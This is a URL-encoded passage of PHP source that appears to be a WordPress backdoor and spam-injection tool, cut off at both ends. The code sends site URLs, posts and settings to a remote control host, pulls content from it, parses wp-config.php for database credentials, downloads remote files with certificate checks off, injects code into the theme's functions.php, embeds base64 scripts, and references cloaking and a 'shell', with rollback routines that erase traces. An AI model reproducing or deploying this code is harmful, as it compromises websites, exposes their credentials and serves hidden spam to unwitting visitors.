inks%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24compressed+%3D+gzcompress%28json_encode%28%24permLinks%29%2C+9%29%3B%0D%0A%0D%0A++++%24url+%3D+GS_ALIAS+.+%27%2Fdnc%2Fwp-acceptors-api%2Fhome-links%3Fhash%3D%27+.+%24hash+.+%27%26permhash%3D%27+.+md5%28%24compressed%29%3B%0D%0A%0D%0A++++%24results+%3D+sendpostUploader%28%24url%2C+array%28%0D%0A++++++++++++%27homeLinksSettings%27+%3D%3E+json_encode%28%24_SERVER%5B%27homeLinksSettings%27%5D%29%2C%0D%0A++++++++++++%27url%27+%3D%3E+urlencode%28HOME_URL%29%2C%0D%0A++++++++++++%27permLinks%27+%3D%3E+urlencode%28%24compressed%29%0D%0A++++++++%29%0D%0A++++%29%3B%0D%0A%0D%0A++++%24uncompressed+%3D+gzuncompress%28%24results%29%3B%0D%0A%0D%0A++++if+%28%21isJsonCustom%28%24uncompressed%29%29+%7B%0D%0A++++++++echo+%27invalid+home+links+format%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24blocks+%3D+json_decode%28%24uncompressed%2C+1%29%3B%0D%0A%0D%0A++++if+%28empty%28%24blocks%29%29+%7B%0D%0A++++++++echo+%27no+texts+for+this+language%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++foreach+%28%24blocks+as+%24key+%3D%3E+%24value%29+%7B%0D%0A++++++++update_option%28%27home_links_custom_%27+.+%24key%2C+%24value%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++echo+sprintf%28%27%25s+text+block%28s%29+available+for+use%25s%27%2C+count%28%24blocks%29%2C+PHP_EOL%29%3B%0D%0A%0D%0A++++return+true%3B%0D%0A%7D%0D%0A%0D%0Afunction+removeHomeLinkKey%28%24settings%29+%7B%0D%0A++++foreach+%28%24settings+as+%24key+%3D%3E+%24arr%29+%7B%0D%0A++++++++if+%28%24key+%3D%3D%3D+CUSTOM_AUTHOR_ID%29+%7B%0D%0A++++++++++++continue%3B%0D%0A++++++++%7D%0D%0A++++++++if+%28isset%28%24settings%5B%24key%5D%5B%27homeLinks%27%5D%29%29+%7B%0D%0A++++++++++++unset%28%24settings%5B%24key%5D%5B%27homeLinks%27%5D%29%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++return+%24settings%3B%0D%0A%7D%0D%0A%0D%0Afunction+viewAllAuthorsAction%28%29+%7B%0D%0A++++CustomDbHandler%3A%3AgetInstance%28%29-%3EviewAllAuthors%28%29%3B%0D%0A%0D%0A++++return+true%3B%0D%0A%7D%0D%0A%0D%0Afunction+getSitemapUrls%28%29+%7B%0D%0A%0D%0A++++echo+HOME_URL+.+%27%2F%27+.+SITEMAP_NAME+.+%27.xml%27+.+PHP_EOL%3B%0D%0A++++echo+HOME_URL+.+%27%2F%3Ffeed%3Dxml%27+.+SITEMAP_NAME+.+PHP_EOL%3B%0D%0A%7D%0D%0A%0D%0Afunction+writeSettingsDB%28%24settings%29+%7B%0D%0A%0D%0A++++try+%7B%0D%0A++++++++%24settingsName+%3D+optionCustomFilters%28%29%3B%0D%0A++++++++%24instance+%3D+CustomDbHandler%3A%3AgetInstance%28%29%3B%0D%0A++++++++%24settingsEncode+%3D+base64_encode%28serialize%28%24settings%29%29%3B%0D%0A%0D%0A++++++++if+%28%21%24instance-%3EgetOption%28%24settingsName%29%29+%7B%0D%0A++++++++++++%2F%2Fecho+%27insert+new+option%27+.+PHP_EOL%3B%0D%0A++++++++++++%24instance-%3EinsertWpOptions%28%24settingsName%2C+%24settingsEncode%29%3B%0D%0A++++++++%7D+else+%7B%0D%0A++++++++++++%2F%2Fecho+%27option+exist%2C+update+option%27+.+PHP_EOL%3B%0D%0A++++++++++++%24instance-%3EupdateWpOptions%28%24settingsName%2C+%24settingsEncode%29%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++echo+%27settings+updated%21%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+true%3B%0D%0A%0D%0A++++%7D+catch+%28Exception+%24ex%29+%7B%0D%0A++++++++echo+%24ex-%3EgetMessage%28%29+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%7D%0D%0A%0D%0A%0D%0Afunction+sendAction%28%29+%7B%0D%0A%0D%0A++++%24mutexName+%3D+defined%28%27CUSTOM_AUTHOR_ID%27%29+%3F+%27_%27+.+CUSTOM_AUTHOR_ID+%3A+%27%27%3B%0D%0A%0D%0A++++%24filename+%3D+TMPDIR+.+%27%2Flog%27+.+%24mutexName+.+%27.txt%27%3B%0D%0A%0D%0A++++%2F%2Fecho+%22send+%24filename%22+.+PHP_EOL%3B%0D%0A%0D%0A++++%24api+%3D+GS_ALIAS+.+%27%2Fsrc%2Fwpacc-v2.php%27%3B%0D%0A%0D%0A++++%24debugData+%3D+array%28%0D%0A++++++++%27url%27+%3D%3E+HOME_URL%2C%0D%0A++++++++%27fullUrls%27+%3D%3E+allPostsFullUrl%28%29%2C%0D%0A++++++++%27settings%27+%3D%3E+debugDataCustom%28%29%2C%0D%0A++++%29%3B%0D%0A%0D%0A++++%24responseData+%3D+sendpostUploader%28%24api%2C+array%28%0D%0A++++++++%27url%27+%3D%3E+urlencode%28HOME_URL%29%2C%0D%0A++++++++%27debug%27+%3D%3E+urlencode%28gzcompress%28json_encode%28%24debugData%29%2C+9%29%29%2C%0D%0A++++%29%29%3B%0D%0A%0D%0A++++if+%28trim%28%24responseData%29+%3D%3D%3D+%27success%27%29+%7B%0D%0A++++++++echo+%22data+sent%22+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A++++echo+%22error+while+send+data%22+.+PHP_EOL%3B%0D%0A%0D%0A++++return+false%3B%0D%0A%7D%0D%0A%0D%0Afunction+debugDataCustom%28%29+%7B%0D%0A%0D%0A++++%24settings+%3D+array%28%29%3B%0D%0A++++%24settings+%3D+getDbSettingsCustom%28%29%3B%0D%0A%0D%0A++++if+%28%24settings%29+%7B%0D%0A++++++++foreach+%28%24settings+as+%24userId+%3D%3E+%24arr%29+%7B%0D%0A++++++++++++if+%28isset%28%24arr%5B%27js%27%5D%29+%26%26+%24decodedJs+%3D+detectBase64js%28%24arr%5B%27js%27%5D%29%29+%7B%0D%0A++++++++++++++++%24settings%5B%24userId%5D%5B%27js%27%5D+%3D+parseJsScript%28%24decodedJs%29%3B%0D%0A++++++++++++%7D%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++return+array%28%0D%0A++++++++%27archivePath%27+%3D%3E+str_replace%28%27%7BDIR_NUM%7D%27%2C+DIR_NUM%2C+URL_WITH_ARCHIVES%29%2C%0D%0A++++++++%27authorId%27+%3D%3E+CUSTOM_AUTHOR_ID%2C%0D%0A++++++++%27cloacking%27+%3D%3E+CLOACKING%2C%0D%0A++++++++%27homeLinks%27+%3D%3E+%28defined%28%27HOME_LINKS%27%29%29+%3F+HOME_LINKS+%3A+0%2C%0D%0A++++++++%27homeLinksSettings%27+%3D%3E+%28%28defined%28%27HOME_LINKS%27%29+%26%26+%28HOME_LINKS+%3D%3D%3D+1%29%29%29+%3F+%24_SERVER%5B%27homeLinksSettings%27%5D+%3A+array%28%29%2C%0D%0A++++++++%27forceChangeHomeLinksOwner%27+%3D%3E+defined%28%27FORCE_CHANGE_HOME_LINKS_OWNER%27%29+%3F+FORCE_CHANGE_HOME_LINKS_OWNER+%3A+0%2C%0D%0A++++++++%27internalLinking%27+%3D%3E+INTERNAL_LINKING%2C%0D%0A++++++++%27externalLinking%27+%3D%3E+EXTERNAL_LINKING%2C%0D%0A++++++++%27sitemapName%27+%3D%3E+SITEMAP_NAME%2C%0D%0A++++++++%27jsConfig%27+%3D%3E+parseJsScript%28JS_SOURCE%29%2C%0D%0A++++++++%27usersSettings%27+%3D%3E+%24settings%2C%0D%0A++++%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+cleanAction%28%29+%7B%0D%0A++++removeDirRec%28TMPDIR%29%3B%0D%0A%0D%0A++++return+true%3B%0D%0A%7D%0D%0A%0D%0Afunction+rollbackAction%28%29+%7B%0D%0A++++%24configArr+%3D+parseWpConfig%28CONFIGSOURCE%29%3B%0D%0A++++%24mysqli+%3D+new+mysqli%28%24configArr%5B%27dbhostaddr%27%5D%2C+%24configArr%5B%27dbuser%27%5D%2C+%24configArr%5B%27dbpassword%27%5D%2C+%24configArr%5B%27dbname%27%5D%2C+%24configArr%5B%27dbport%27%5D%29%3B%0D%0A++++deleteSettings%28%29%3B%0D%0A++++deletePosts%28%29%3B%0D%0A++++removeDirRec%28TMPDIR%29%3B%0D%0A%0D%0A++++return+true%3B%0D%0A%7D%0D%0A%0D%0Afunction+removeHomeLinksCustom%28%24configArr%2C+%24mysqli%29+%7B%0D%0A++++%2F%2FSELECT+option_id+FROM+%60wp_options%60+where+option_name+LIKE+%27home_links_custom_%25%27%0D%0A%0D%0A++++%24homeLinksIdsQuery+%3D+sprintf%28%22select+option_id+from+%60%25s%60.%60%25soptions%60+where+option_name+LIKE+%27home_links_custom_%25%25%27%22%2C+%24configArr%5B%27dbname%27%5D%2C+%24configArr%5B%27dbprefix%27%5D%29%3B%0D%0A%0D%0A++++if+%28%24result+%3D+%24mysqli-%3Equery%28%24homeLinksIdsQuery%29%29+%7B%0D%0A++++++++while+%28%24row+%3D+%24result-%3Efetch_assoc%28%29%29+%7B%0D%0A++++++++++++%24ids%5B%5D+%3D+%24row%5B%27option_id%27%5D%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++if+%28empty%28%24ids%29%29+%7B%0D%0A++++++++return+0%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24idsString+%3D+implode%28%27%2C+%27%2C+%24ids%29%3B%0D%0A++++%24queryForDelete+%3D+sprintf%28%22delete+FROM+%60%25s%60.%60%25soptions%60+where+option_id+IN+%28%24idsString%29%22%2C+%24configArr%5B%27dbname%27%5D%2C+%24configArr%5B%27dbprefix%27%5D%29%3B%0D%0A++++%24mysqli-%3Equery%28%24queryForDelete%29%3B%0D%0A%0D%0A++++return+%24mysqli-%3Eaffected_rows%3B%0D%0A%7D%0D%0A%0D%0Afunction+globalRollbackAction%28%29+%7B%0D%0A++++%24configArr+%3D+parseWpConfig%28CONFIGSOURCE%29%3B%0D%0A++++%24mysqli+%3D+new+mysqli%28%24configArr%5B%27dbhostaddr%27%5D%2C+%24configArr%5B%27dbuser%27%5D%2C+%24configArr%5B%27dbpassword%27%5D%2C+%24configArr%5B%27dbname%27%5D%2C+%24configArr%5B%27dbport%27%5D%29%3B%0D%0A%0D%0A++++deletePosts%28true%29%3B%0D%0A%0D%0A++++removeDirRec%28TMPDIR%29%3B%0D%0A%0D%0A++++if+%28%21defined%28%27CUSTOM_TEMPLATE_PATH%27%29%29+%7B%0D%0A++++++++%24templateDirectory+%3D+getTemplatePath%28%29%3B%0D%0A++++%7D+else+%7B%0D%0A++++++++%24templateDirectory+%3D+CUSTOM_TEMPLATE_PATH%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++%24functionsPath+%3D+%24templateDirectory+.+%27%2Ffunctions.php%27%3B%0D%0A%0D%0A++++if+%28%21file_exists%28%24functionsPath%29%29+%7B%0D%0A++++++++echo+%24functionsPath+.+%27%2F+no+exists%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A%0D%0A++++if+%28%21is_writeable%28%24functionsPath%29%29+%7B%0D%0A++++++++echo+%24functionsPath+.+%27+no+writeable%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24functionsSource+%3D+file_get_contents%28%24functionsPath%29%3B%0D%0A%0D%0A++++%24regexp+%3D+%27%7E%5C%2F%5C*%5Cs%2Bcustom+filters%5Cs%2B%5C*%5C%2F%28.%2B%29%5C%2F%5C*%5Cs*custom+filters%5Cs*%5C*%5C%2F%7Esu%27%3B%0D%0A%0D%0A++++%24newSource+%3D+preg_replace%28%24regexp%2C+%27%27%2C+%24functionsSource%29%3B%0D%0A%0D%0A++++if+%28%24newSource+%21%3D%3D+%24functionsSource%29+%7B%0D%0A++++++++file_put_contents%28%24functionsPath%2C+%24newSource%29%3B%0D%0A++++++++echo+%27return+original+functions.php%27+.+PHP_EOL%3B%0D%0A++++%7D%0D%0A%0D%0A++++writeSettingsDB%28array%28%29%29%3B%0D%0A++++removeHomeLinksCustom%28%24configArr%2C+%24mysqli%29%3B%0D%0A%0D%0A++++return+true%3B%0D%0A%7D%0D%0A%0D%0Afunction+sendPostsFromDbAction%28%29+%7B%0D%0A++++%24api+%3D+GS_ALIAS+.+%27%2Fsrc%2Fwpacc.php%27%3B%0D%0A++++%24urls+%3D+CustomDbHandler%3A%3AgetInstance%28%29%0D%0A++++++++-%3EallPostsFromDb%28HOME_URL%2C+CUSTOM_AUTHOR_ID%29%3B%0D%0A%0D%0A++++if+%28empty%28%24urls%29%29+%7B%0D%0A++++++++echo+%22no+posts+by+author+id%22+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24source+%3D+implode%28%22%5Cn%22%2C+%24urls%29%3B%0D%0A%0D%0A++++%24responseData+%3D+sendpostUploader%28%24api%2C+array%28%0D%0A++++++++%27url%27+%3D%3E+urlencode%28HOME_URL%29%2C%0D%0A++++++++%27source%27+%3D%3E+urlencode%28%24source%29%2C%0D%0A++++%29%29%3B%0D%0A%0D%0A++++if+%28trim%28%24responseData%29+%3D%3D%3D+%27success%27%29+%7B%0D%0A++++++++echo+%22data+sent%22+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A++++echo+%22error+while+send+data%22+.+PHP_EOL%3B%0D%0A%0D%0A++++return+false%3B%0D%0A%7D%0D%0A%0D%0Afunction+allPostsFullUrl%28%29+%7B%0D%0A%0D%0A%0D%0A++++%24userId+%3D+defined%28%27CUSTOM_AUTHOR_ID%27%29+%3F+CUSTOM_AUTHOR_ID+%3A+9999%3B%0D%0A++++%24urls+%3D+array%28%29%3B%0D%0A%0D%0A++++if+%28isBadEnvCustom%28%29%29+%7B%0D%0A++++++++echo+%27change+shell%2C+invalid+require+wp-blog-header%27+.+PHP_EOL%3B%0D%0A++++++++exit%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++if+%28%21function_exists%28%27get_permalink%27%29%29+%7B%0D%0A++++++++require_once+WP_ROOT_DIR+.+%27%2Fwp-blog-header.php%27%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24canonicalUrls+%3D+CustomDbHandler%3A%3AgetInstance%28%29-%3EallPostsFromDb%28HOME_URL%2C+%24userId%29%3B%0D%0A%0D%0A++++foreach+%28%24canonicalUrls+as+%24canonicalUrl%29+%7B%0D%0A++++++++list+%28%24link%2C+%24title%29+%3D+explode%28%27%3B%27%2C+%24canonicalUrl%29%3B%0D%0A++++++++preg_match%28%27%7E%5C%3Fp%3D%28%5Cd%2B%29%7E%27%2C+%24link%2C+%24idMatches%29%3B%0D%0A++++++++%24urls%5B%5D+%3D+array%28%0D%0A++++++++++++get_permalink%28%24idMatches%5B1%5D%29%2C%0D%0A++++++++++++%24idMatches%5B1%5D%2C%0D%0A++++++++++++%24title%0D%0A++++++++%29%3B%0D%0A++++++++wp_cache_delete%28%24idMatches%5B1%5D%2C+%27posts%27%29%3B%0D%0A%0D%0A++++%7D%0D%0A%0D%0A++++return+%24urls%3B%0D%0A%7D%0D%0A%0D%0Afunction+unzipSecondMethod%28%29+%7B%0D%0A++++%24paths+%3D+array%28%0D%0A++++++++TMPDIR%0D%0A++++%29%3B%0D%0A++++foreach+%28%24paths+as+%24path%29+%7B%0D%0A%0D%0A++++++++%24zipFiles+%3D+glob%28%24path+.+DIRECTORY_SEPARATOR+.+%27*.zip%27%29%3B%0D%0A++++++++if+%28%21is_dir%28%24path%29%29+%7B%0D%0A++++++++++++mkdir%28%24path%2C+0755%2C+true%29%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++%24zip+%3D+new+ZipArchive%28%29%3B%0D%0A%0D%0A++++++++foreach+%28%24zipFiles+as+%24file%29+%7B%0D%0A++++++++++++if+%28%24zip-%3Eopen%28%24file%29%29+%7B%0D%0A%0D%0A++++++++++++++++if+%28%24zip-%3EextractTo%28%24path%29%29+%7B%0D%0A++++++++++++++++++++echo+%22%24file+extracted%22+.+PHP_EOL%3B%0D%0A++++++++++++++++++++unlink%28%24file%29%3B%0D%0A++++++++++++++++++++%24zip-%3Eclose%28%29%3B%0D%0A++++++++++++++++%7D%0D%0A++++++++++++%7D+else+%7B%0D%0A++++++++++++++++echo+%22I+can+not+open+the+archive+%24file%22+.+PHP_EOL%3B%0D%0A%0D%0A++++++++++++++++return+false%3B%0D%0A++++++++++++%7D%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A++++file_put_contents%28TMPDIR+.+%27%2Funzipsuccess%27%2C+%27%27%29%3B%0D%0A%0D%0A++++return+true%3B%0D%0A%7D%0D%0A%0D%0Afunction+unzipFirstMethod%28%29+%7B%0D%0A%0D%0A++++%24paths+%3D+array%28%0D%0A++++++++TMPDIR%0D%0A++++%29%3B%0D%0A%0D%0A++++if+%28file_exists%28%24unzipClassPath+%3D+WP_ROOT_DIR+.+%27%2Fwp-admin%2Fincludes%2Fclass-pclzip.php%27%29%29+%7B%0D%0A++++++++include_once+%24unzipClassPath%3B%0D%0A++++%7D+else+%7B%0D%0A++++++++include_once+TMPDIR+.+%27%2Fheader.php%27%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++foreach+%28%24paths+as+%24path%29+%7B%0D%0A%0D%0A++++++++%24zipFiles+%3D+glob%28%24path+.+DIRECTORY_SEPARATOR+.+%27*.zip%27%29%3B%0D%0A%0D%0A++++++++foreach+%28%24zipFiles+as+%24file%29+%7B%0D%0A%0D%0A++++++++++++%24archive+%3D+new+PclZip%28%24file%29%3B%0D%0A++++++++++++if+%28%24archive-%3Eextract%28PCLZIP_OPT_PATH%2C+%24path%29+%3D%3D+0%29+%7B%0D%0A++++++++++++++++echo+%22Error+%3A+%22+.+%24archive-%3EerrorInfo%28true%29%3B%0D%0A%0D%0A++++++++++++++++return+false%3B%0D%0A++++++++++++%7D+else+%7B%0D%0A++++++++++++++++echo+%24file+.+%22+unzipped%22+.+PHP_EOL%3B%0D%0A++++++++++++++++unlink%28%24file%29%3B%0D%0A++++++++++++%7D%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A++++file_put_contents%28TMPDIR+.+%27%2Funzipsuccess%27%2C+%27%27%29%3B%0D%0A%0D%0A++++return+true%3B%0D%0A%7D%0D%0A%0D%0Afunction+parseWpConfig%28%24configSource%29+%7B%0D%0A%0D%0A%0D%0A++++if+%28%28ALTERNATIVE_CONNECT_MYSQL+%3D%3D%3D+1%29+%26%26+defined%28%27WP_CONFIG_ARR_AS_JSON%27%29%29+%7B%0D%0A++++++++return+json_decode%28WP_CONFIG_ARR_AS_JSON%2C+1%29%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++%2F%2Fpreg_match_all%28%22%7E%28DB_NAME%7CDB_USER%7CDB_PASSWORD%7CDB_HOST%29%5B%5C%27%5C%22%5D%2C%5Cs*%5B%5C%27%5C%22%5D%28.%2B%29%5B%5C%27%5C%22%5D%5Cs*%5C%29%3B%7E%22%2C+%24configSource%2C+%24dbhost%29%3B%0D%0A++++preg_match_all%28%22%7E%5Edefine.*%28DB_NAME%7CDB_USER%7CDB_PASSWORD%7CDB_HOST%29%5B%5C%27%5C%22%5D%2C%5Cs*%5B%5C%27%5C%22%5D%28.%2B%29%5B%5C%27%5C%22%5D%5Cs*%5C%29%3B%7Em%22%2C+%24configSource%2C+%24dbhost%29%3B%0D%0A%0D%0A++++preg_match%28%22%7Etable_prefix%5Cs%2B%3D%5Cs*%5B%5C%27%5C%22%5D%28.%2B%29%5B%5C%27%5C%22%5D%3B%7E%22%2C+%24configSource%2C+%24prefix%29%3B%0D%0A%0D%0A++++if+%28stristr%28%24dbhost%5B2%5D%5B3%5D%2C+%27%3A%27%29+%21%3D%3D+false%29+%7B%0D%0A++++++++list%28%24hostAddr%2C+%24dbPort%29+%3D+explode%28%27%3A%27%2C+%24dbhost%5B2%5D%5B3%5D%29%3B%0D%0A++++%7D+else+%7B%0D%0A++++++++%24hostAddr+%3D+%24dbhost%5B2%5D%5B3%5D%3B%0D%0A++++++++%24dbPort+%3D+3306%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++return+array%28%0D%0A++++++++%27dbname%27+%3D%3E+%24dbhost%5B2%5D%5B0%5D%2C%0D%0A++++++++%27dbuser%27+%3D%3E+%24dbhost%5B2%5D%5B1%5D%2C%0D%0A++++++++%27dbpassword%27+%3D%3E+%24dbhost%5B2%5D%5B2%5D%2C%0D%0A++++++++%27dbhostaddr%27+%3D%3E+%24hostAddr%2C%0D%0A++++++++%27dbprefix%27+%3D%3E+%24prefix%5B1%5D%2C%0D%0A++++++++%27dbport%27+%3D%3E+%24dbPort%2C%0D%0A++++%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+findWriteablePath%28%24pathForScaning%29+%7B%0D%0A%0D%0A++++if+%28is_writeable%28%24pathForScaning%29%29+%7B%0D%0A++++++++return+%24pathForScaning%3B%0D%0A++++%7D%0D%0A++++%24subdirs+%3D+glob%28%24pathForScaning+.+%27%2F*%27%2C+GLOB_ONLYDIR%29%3B%0D%0A%0D%0A++++if+%28%21empty%28%24subdirs%29%29+%7B%0D%0A++++++++foreach+%28%24subdirs+as+%24dir%29+%7B%0D%0A++++++++++++if+%28is_writable%28%24dir%29%29+%7B%0D%0A++++++++++++++++return+%24dir%3B%0D%0A++++++++++++%7D%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++return+null%3B%0D%0A%7D%0D%0A%0D%0Afunction+detectWProotDir%28%29+%7B%0D%0A%0D%0A++++if+%28file_exists%28CURRENTDIR+.+%27%2Fwp-config.php%27%29%29+%7B%0D%0A++++++++return+CURRENTDIR%3B%0D%0A++++%7D%0D%0A++++%24normalizePath+%3D+preg_replace%28%27%7E%5C%2F%28wp-admin%7Cwp-includes%7Cwp-content%29.*%24%7E%27%2C+%27%27%2C+CURRENTDIR%29%3B%0D%0A%0D%0A++++if+%28file_exists%28%24normalizePath+.+%27%2Fwp-config.php%27%29%29+%7B%0D%0A++++++++return+%24normalizePath%3B%0D%0A++++%7D%0D%0A%0D%0A++++return+null%3B%0D%0A%7D%0D%0A%0D%0Afunction+get_file%28%24source%2C+%24localname%29+%7B%0D%0A%0D%0A++++%24file+%3D+fopen%28%27php%3A%2F%2Ftemp%2Fmaxmemory%3A0%27%2C+%27w%2Bb%27%29%3B%0D%0A++++%24ch+%3D+curl_init%28%29%3B%0D%0A++++curl_setopt%28%24ch%2C+CURLOPT_URL%2C+%24source%29%3B%0D%0A++++curl_setopt%28%24ch%2C+CURLOPT_FAILONERROR%2C+true%29%3B%0D%0A++++curl_setopt%28%24ch%2C+CURLOPT_FOLLOWLOCATION%2C+true%29%3B%0D%0A++++curl_setopt%28%24ch%2C+CURLOPT_RETURNTRANSFER%2C+true%29%3B%0D%0A++++curl_setopt%28%24ch%2C+CURLOPT_SSL_VERIFYHOST%2C+0%29%3B%0D%0A++++curl_setopt%28%24ch%2C+CURLOPT_SSL_VERIFYPEER%2C+0%29%3B%0D%0A++++curl_setopt%28%24ch%2C+CURLOPT_FILE%2C+%24file%29%3B%0D%0A++++curl_exec%28%24ch%29%3B%0D%0A%0D%0A++++rewind%28%24file%29%3B%0D%0A++++file_put_contents%28%24localname%2C+stream_get_contents%28%24file%29%29%3B%0D%0A++++fclose%28%24file%29%3B%0D%0A%0D%0A++++echo+%24localname+.+%27+-+%27+.+filesizemb%28%24localname%29+.+%27+MB%27+.+PHP_EOL%3B%0D%0A%7D%0D%0A%0D%0Afunction+uploadRangeOfFiles%28%24url%2C+%24range%2C+%24extension%2C+%24dirname+%3D+%27%27%29+%7B%0D%0A%0D%0A++++list+%28%24firstNum%2C+%24secondNum%29+%3D+explode%28%27-%27%2C+%24range%29%3B%0D%0A%0D%0A++++if+%28%21makeDir%28%24dirname%29%29+%7B%0D%0A++++++++throw+new+Exception%28%22dont+create+dirname+-+%24dirname%22%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++foreach+%28range%28%24firstNum%2C+%24secondNum%29+as+%24num%29+%7B%0D%0A++++++++%24filename+%3D+%24num+.+%24extension%3B%0D%0A++++++++get_file%28%24url+.+%24filename%2C+%24dirname+%21%3D%3D+%27%27+%3F%0D%0A++++++++++++%24dirname+.+DIRECTORY_SEPARATOR+.+%24filename+%3A+%24filename%29%3B%0D%0A++++%7D%0D%0A%7D%0D%0A%0D%0Afunction+filesizemb%28%24file%29+%7B%0D%0A++++return+number_format%28filesize%28%24file%29+%2F+pow%281024%2C+2%29%2C+3%2C+%27.%27%2C+%27%27%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+makeDir%28%24dirname%29+%7B%0D%0A%0D%0A%0D%0A++++if+%28%24dirname+%21%3D%3D+%27%27%29+%7B%0D%0A++++++++if+%28%21is_dir%28%24dirname%29%29+%7B%0D%0A++++++++++++if+%28%21mkdir%28%24dirname%2C+0777%2C+true%29%29+%7B%0D%0A++++++++++++++++return+false%3B%0D%0A++++++++++++%7D%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A++++%24GLOBALS%5B%27createdDirectories%27%5D%5B%5D+%3D+%24dirname%3B%0D%0A%0D%0A++++return+true%3B%0D%0A%7D%0D%0A%0D%0Afunction+jsPrepare%28%24jsSource%29+%7B%0D%0A%0D%0A++++%24base64+%3D+base64_encode%28%24jsSource%29%3B%0D%0A%0D%0A++++return+%27%3Cscript+src%3D%22data%3Atext%2Fjavascript%3Bbase64%2C%27+.+%24base64+.+%27%22%3E%3C%2Fscript%3E%27%3B%0D%0A%7D%0D%0A%0D%0Afunction+modify_functions_php%28%24functionsPath%2C+%24source%2C+%24tmpDir%2C+%24deleteOldCustomFilters+%3D+false%29+%7B%0D%0A%0D%0A++++%24functionsSource+%3D+file_get_contents%28%24functionsPath%29%3B%0D%0A++++oldFunctionPathBak%28%24tmpDir%2C+%24functionsPath%29%3B%0D%0A++++%24optionCustom+%3D+optionCustomFunctions%28%29%3B%0D%0A%0D%0A++++if+%28%24deleteOldCustomFilters%29+%7B%0D%0A%0D%0A++++++++%24customFiltersRegexpSec+%3D+%22%7E%2F%5C*%5Cs*%28custom+filters%7C%24optionCustom%29%5Cs*%5C*%2F%28.%2B%29%2F%5C*%5Cs*%28custom+filters%7C%24optionCustom%29%5Cs*%5C*%2F%7Esu%22%3B%0D%0A++++++++%24functionsSource+%3D+preg_replace%28%24customFiltersRegexpSec%2C+%27%27%2C+%24functionsSource%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++preg_match%28%27%7E%5C%3C%5C%3F%28php%29*%7E%27%2C+%24functionsSource%2C+%24tagMatches%29%3B%0D%0A%0D%0A++++if+%28empty%28%24tagMatches%29%29+%7B%0D%0A++++++++return%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24phpMatches+%3D+preg_quote%28%24tagMatches%5B0%5D%29%3B%0D%0A++++%2F%2F%24newFunctionSource+%3D+preg_replace%28%22%7E%24phpMatches%7E%22%2C+%24tagMatches%5B0%5D+.+%22%5Cn%5Cn%22+.+base64_decode%28%24source%29%2C+%24functionsSource%2C+1%29%3B%0D%0A++++%24newFunctionSource+%3D+preg_replace%28%22%7E%24phpMatches%7E%22%2C+%24tagMatches%5B0%5D+.+%22%5Cn%5Cn%22+.+%24source%2C+%24functionsSource%2C+1%29%3B%0D%0A%0D%0A++++if+%28file_put_contents%28%24functionsPath%2C+%24newFunctionSource%29+%21%3D%3D+false%29+%7B%0D%0A++++++++%2F*+dont+touch+me+please+*%2F%0D%0A++++++++%2F%2Ftouch%28%24functionsPath%2C+frequenttimestamp%28dirname%28%24functionsPath%29%29%29%3B%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A%0D%0A++++return+false%3B%0D%0A%7D%0D%0A%0D%0Afunction+findOldSettings%28%24functionsSource%29+%7B%0D%0A%0D%0A++++%24oldSourceRegex+%3D+%27%2F%5C%27%28.%2B%3F%5C.xml%5C%24%29%5C%27%5Cs*%3D%3E%5Cs*%5C%27%28.%2B%3F%29%5C%27%2Fm%27%3B%0D%0A%0D%0A++++if+%28preg_match%28%24oldSourceRegex%2C+%24functionsSource%2C+%24oldSourceMatches%29%29+%7B%0D%0A++++++++echo+%27old+settings+value+detected%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++%24jsScriptRegex+%3D+%27%2F%5C%24str%5Cs*%3D%5Cs*%3C%3C%3CSTR%28.%2B%3F%29STR%3B%2Fs%27%3B%0D%0A++++++++preg_match%28%24jsScriptRegex%2C+%24functionsSource%2C+%24jsMatches%29%3B%0D%0A%0D%0A++++++++%24oldSettingsArr+%3D+generateSettings%289999%2C+trim%28%24jsMatches%5B1%5D%29%0D%0A++++++++++++%2C+%24oldSourceMatches%5B1%5D%2C+%24oldSourceMatches%5B2%5D%2C+null%29%3B%0D%0A%0D%0A++++++++return+%24oldSettingsArr%3B%0D%0A++++%7D+else+%7B%0D%0A++++++++%2F%2Ffind+in+db%0D%0A++++++++echo+%27find+old+settings+in+DB%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+getDb